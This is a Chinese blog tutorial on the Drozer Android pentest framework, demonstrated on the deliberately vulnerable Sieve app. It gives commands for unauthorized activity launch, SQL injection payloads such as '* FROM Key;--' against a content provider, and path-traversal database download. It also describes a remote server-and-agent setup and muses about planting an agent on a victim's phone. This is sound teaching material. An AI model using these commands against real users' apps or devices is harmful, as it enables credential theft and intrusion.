Drozer的基本使用

之前做APP测试时使用了Drozer,感觉很好用,但是后来一直没有时间整理。在我逐渐对Drozer加深了熟悉才发现,Drozer不仅仅是一个工具,它更像一个综合性渗透测试的框架。在单机情况下,测试单个APP漏洞很好用,在渗透中,也可以当做服务器多个代理的形式,对局域网或者互联网所有的移动端代理进行渗透,对移动端进一步攻击提权。

一、安装

安装这块,我强烈推荐直接看官网文档安装,英文看起来费劲不要紧,可以使用各类翻译软件。

因为在我安装的过程当中,看了别人的博客,不太详细,导致遇到了不少坑。官网的文档最全面、权威,按照介绍至上到下操作一遍,安装基本就没啥问题了。

这里我贴上官网的文档。

二、启动

在我们安装好后,有两个部分,一个是代理(agent),一个可以理解为服务。
代理在模拟器或者手机里,是这样。
在这里插入图片描述
点击Embedded Server,打开Enabled
在这里插入图片描述在这里插入图片描述

这样我们代理就算启动成功了。

代理的服务端口是31415,所以我们需要将模拟器中的端口进行转发。

在PC终端输入:

adb forward tcp:31415 tcp:31415

然后启动Drozer服务。

drozer console connect

在这里插入图片描述
这里服务端就和代理建立了友好关系,可以说话了。

三、应用测试

这里我使用官网的demo进行测试,资源我已上传。

打开sieve,看起来是一个登陆注册界面。
在这里插入图片描述
我们拿到这个app,只知道它的名字叫sieve,但是它的包名叫什么我们还不知道,这里我们可以使用app.package.list来列出名字叫sieve的包。

run app.package.list -f sieve

在这里插入图片描述

查看更加详细的信息,使用app.package.info

run app.package.info -a com.mwr.example.sieve

在这里插入图片描述
可以看到版本号等详细信息。

一般情况下,我们可以使用轻度扫描的方式,看看可能会有哪些攻击面。

run app.package.attacksurface com.mwr.example.sieve

在这里插入图片描述
可以看到,3个activities、2个content providers、services结果被导出,尤其注意下,这个APP支持debuggable的,我们可以使用ida进行动态调试。

接下来深入攻击点。
首先看activity这块的内容。

run app.activity.info -a com.mwr.example.sieve

在这里插入图片描述
我们看出来,所有的这3个界面不需要任何的权限,所以我们可以通过drozer来随意启动任意一个界面。

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

这个是注册成功后,最后跳入的界面,理论上是必须注册,并且注册成功后才能看到的界面,但是被我们未授权访问了。
在这里插入图片描述

在看provider的漏洞。

run app.provider.info -a com.mwr.example.sieve

在这里插入图片描述
这里的DBContentProvider和FileBackupProvider刚好对应前面我们扫描的漏洞,可能会有SQL注入和文件遍历的目录。

先看SQL注入,我们除了知道访问数据内容开头是"content://"之外,其他的都不清楚,所以首先得拿到数据库的url地址,才能进一步确认是否存在漏洞。

drozer提供了寻找content url地址的功能:

run scanner.provider.finduris -a com.mwr.example.sieve

在这里插入图片描述
我们看出来,它读出了DBContent的内容,那么有了准确的URL地址,就可以着手测试了。
由于Android使用的是sqllite数据库,所以存储用户数据也是sqllite,我们使用projection预注入来测试。

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

这里出现了显错注入
在这里插入图片描述

通过判断,我们可以知道注入点在这里,那我们可以构造语句

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

在这里插入图片描述
或许我们可以直接把数据库下载下来。

run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /Users/liyang/test/database.db

在这里插入图片描述
注意,这里的database.db是本地的目录路径。
当然,还可以使用

run scanner.provider.injection -a com.mwr.example.sieve

自动扫描provider模块存在的漏洞,这里发现了Keys、Passwords都可以注入。

attacksurface还提到了有两个服务漏洞

run app.service.info -a com.mwr.example.sieve

在这里插入图片描述
我们看出来这两个服务都是比较有意思的,一个是认证服务,一个是解析服务。
那么如果我们把代理放到了受害者手机里,某个APP有这个漏洞,我们是不是就可以获取到用户的账号和密码了?

拓展内容

前面提到了Drozer不仅仅适用了APP测试,是一个工具也是一个框架。
原因在于它不仅支持本地,也适用于远程agent,可以在一个局域网或者互联网环境下,启动一个drozer 服务器,然后多个agent在不同的设备里进行移动端的渗透。同时它也提供了高质量的exploit和payload帮助拿下设备的权限。

这里我演示下启动一个server,多个agent的情景。

首先服务端启动:

drozer server start

agent启动,进入setting
在这里插入图片描述
New Endpoint
在这里插入图片描述
填入Host和port,这里填的是服务端的IP和端口,也就是你接下来启动drozer server的IP,然后save,再回到主界面,将关闭点成开启。
在这里插入图片描述
然后server这边,设备就上线了。
在这里插入图片描述
接下来,我们列出有哪些exploits可以使用的

drozer exploit list

在这里插入图片描述
看出CVE-2010-1807这个可以帮助我们远程拿到权限,但是只适用于Android老版本,10年的版本,肯定不适用于现在了,所以就不尝试了。

但是提一下,后来的drozer代码好像好久没更新了,payload应该都是比较久远的吧。

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
drozer是一款用于安卓应用程序安全评估和渗透测试的工具。下面是一个简单的drozer使用教程: 1. 安装drozer:首先,你需要在你的机器上安装drozer。你可以从官方网站(https://github.com/FSecureLABS/drozer)下载最新的二进制版本,并按照官方文档进行安装。 2. 连接设备:将你的安卓设备连接到计算机,并确保已启用USB调试模式。你可以在设备的开发者选项中启用USB调试模式。 3. 启动drozer控制台:在命令行中输入`drozer console connect`命令来启动drozer控制台,并连接到你的设备。 4. 扫描应用程序:使用`run app.package.list`命令来列出设备上安装的应用程序包名。选择你想要评估或测试的应用程序,并记下其包名。 5. 选择目标应用程序:使用`run app.package.attacksurface <包名>`命令来选择目标应用程序,并获取有关其攻击面的信息。这将显示应用程序的组件、权限和接口等信息。 6. 进行漏洞扫描:使用`run scanner.<scanner_name>`命令来执行特定漏洞扫描。drozer提供了一系列内置的扫描器,例如`scanner.activity.injection`用于检测活动注入漏洞,`scanner.provider.query`用于检测内容提供者查询漏洞等。 7. 漏洞利用和渗透测试:如果你发现了漏洞,你可以使用drozer提供的一些模块来利用这些漏洞。例如,`run exploit.<exploit_name>`命令用于执行特定漏洞利用。 8. 退出drozer控制台:当你完成评估和测试后,可以使用`exit`命令退出drozer控制台。 请注意,drozer是一个强大的工具,需要谨慎使用。在使用drozer对任何应用程序进行评估和测试之前,请确保你具有合法的授权,并遵守适用的法律和道德准则。同时,也建议在安全环境中进行测试,以防止对正式环境造成任何损害。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值